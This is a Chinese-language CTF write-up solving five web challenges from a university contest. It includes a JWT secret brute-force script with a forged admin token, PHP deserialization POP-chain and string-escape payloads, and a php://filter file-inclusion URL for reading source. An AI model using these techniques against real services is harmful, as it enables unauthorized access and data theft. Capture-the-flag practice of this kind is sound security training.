是陽間題
感謝喵師傅的環境,膜:https://miaotony.xyz/2020/05/30/CTF_2020NUAACTF/
web1-checkin
ctrl+u的,沒注意到在下面,後來在返回包的html裏纔看見。。。
nuaactf{we1cOme_to_NuaAcTF}
web2-jwt
關於jwt和jwt僞造,膜:https://blog.csdn.net/qq_45521281/article/details/106073624
github上有一個爆破jwt-secret的工具,膜:https://github.com/brendan-rius/c-jwt-cracker
知道原理後我們也可以自己寫腳本:
首先隨便註冊一個號,登上去,看到自己的JWT:
JWT=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImhhbmFvIn0.r8MVWvxF0V8QVmMYn8dMdfSUBAkc1f5LosyaOHoSPbU
把前兩部分b64decode,有:
{"alg":"HS256","typ":"JWT"}
{"username":"hanao"}
然後根據加密方式和結果爆破出密碼:(python3.8.2)
import hashlib
import hmac
import base64
chars = ["","0","1","2","3","4","5","6","7","8","9","q","w","e","r","t","y","u","i","o","p","a","s","d","f","g","h","j","k","l","z","x","c","v","b","n","m","Q","W","E","R","T","Y","U","I","O","P","A","S","D","F","G","H","J","K","L","Z","X","C","V","B","N","M"]
before = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImhhbmFvIn0".encode('utf-8')
secret = ""
after = "r8MVWvxF0V8QVmMYn8dMdfSUBAkc1f5LosyaOHoSPbU=".encode('utf-8')
#這裏要用'='把after補夠4的倍數位,方便比較
for i in range(0,62):
for j in range(0,62):
for k in range(0,62):
for l in range(0,62):
secret = chars[i] + chars[j] + chars[k] + chars[l];
secret = secret.encode('utf-8')
result = base64.b64encode(hmac.new(secret, before, digestmod=hashlib.sha256).digest())
if result == after:
print(secret)
exit()
用時大概一分鐘;
之後就是根據之前的數據僞造JWT;
{"alg":"HS256","typ":"JWT"}
{"username":"admin"}
分別urlbase64後加點進行hmac-sha256;最終僞造出的JWT:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.SYQ-AGwY5XIcxY621ToK8zEgomHE0Bla9tAUWTLxnwA
然後抓包修改JWT,再進入個人中心即可。
nuaactf{haojiGuoGuoTql}
web3-easypop
直接給了我們代碼
沒什麼邏輯,直接整就行:(PHP)
<?php
class lemon {
protected $ClassObj;
function __construct() {
$this->ClassObj = new evil();
}
}
class evil {
private $data;
}
echo urlencode(serialize(new lemon()));
?>
運行結果:
O%3A5%3A%22lemon%22%3A1%3A%7Bs%3A11%3A%22%00%2A%00ClassObj%22%3BO%3A4%3A%22evil%22%3A1%3A%7Bs%3A10%3A%22%00evil%00data%22%3BN%3B%7D%7D
訪問:
http://139.9.221.0:8088/?d=O%3A5%3A%22lemon%22%3A1%3A%7Bs%3A11%3A%22%00%2A%00ClassObj%22%3BO%3A4%3A%22evil%22%3A1%3A%7Bs%3A10%3A%22%00evil%00data%22%3BN%3B%7D%7D
nuaactf{you_can_really_p0p}
web4-command inj
查看源碼發現include.php
訪問發現?file=index,文件讀取:
http://139.9.221.0:8092/include.php?file=php://filter/read=convert.base64-encode/resource=include
僞協議相關,膜:https://blog.csdn.net/Ni9htMar3/article/details/69812306?locationNum=2&fps=1
文件包含相關,膜:https://blog.csdn.net/qq_42181428/article/details/87090539
解碼後:
<?php error_reporting(0);
@$file = $_GET["file"];
if(isset($file)) {
if (preg_match('/http|data|ftp|input||flag/i', $file) || strstr($file,"..") !== FALSE || strlen($file)>=100) {
echo "<p> error! </p>";
} else {
include($file.'.php');
setcookie("tips","createfun.php");
}
} else {
header('Location:include.php?file=index');
}
?>
提示createfun.php,再讀一次;
<?php
$func = @$_GET['func'];
$arg = @$_GET['arg'];
if(isset($func)&&isset($arg)){$func($arg,'');}
PHP變量名可以當函數用,題目有提到command,試圖用很多方式執行命令,但是都報錯了,執行不了。慘慘。
考慮到第一個PHP中過濾了flag關鍵字,猜測flag在flag.php中,show_source:
nuaactf{php_IS_thE_best_language}
web5-escape
直接給了源碼:
關於PHP的魔術方法:https://www.php.net/manual/zh/language.oop5.magic.php
首先是一個單次的過濾,可以雙寫繞過。
然後,在類C中提示flag.php,所以要讓C的成員變量爲:flaflagg.php,通過file_get_contents()得到flag
然後讓類B的屬性b等於類C,就會調用C中的__toString方法。
序列化如下:
<?php
class B{
public $b;
}
class C{
public $c = "flaflagg.php";
}
$a = new B();
$a->b = new C();
echo serialize($a);
?>
構造出:O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:12:"flaflagg.php";}}
題目中,序列化對象$a後,將字符串中的flag關鍵字過濾掉了,很明顯是反序列化字符逃逸了,長度變化爲4~0:
反序列化字符逃逸詳解,膜:https://xz.aliyun.com/t/6718
不斷嘗試,可以構造:(特別注意最後文件名的字符長度爲8,不是12)
?a=flagflagflagflagflagflag&b=1";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flaflagg.php";}}
這樣的程序執行過程:
賦值:
$a->a=flagflagflagflagflagflag;
$a->b=1";s:8:“password”;O:1:“B”:1:{s:1:“b”;O:1:“C”:1:{s:1:“c”;s:8:“flaflagg.php”;}};
序列化後爲:
O:1:"A":2:{s:8:"username";s:24:"flagflagflagflagflagflag";s:8:"password";s:71:"1";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flaflagg.php";}}";}
過濾後爲:
O:1:"A":2:{s:8:"username";s:24:"";s:8:"password";s:71:"1";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}";}
再反序列化時,A的實例的username成員變量會讀取24個字符,即:";s:8:“password”;s:71:"1這一段;
後面的就會被讀成類B的一個實例,這個實例中的成員變量又是類C的一個實例。最後執行。
flag{you_can_readlly_dance}
**> **> **> **
P.S. 最後這個並不是很懂。。。如果理解有誤,煩請各位師傅指正~感謝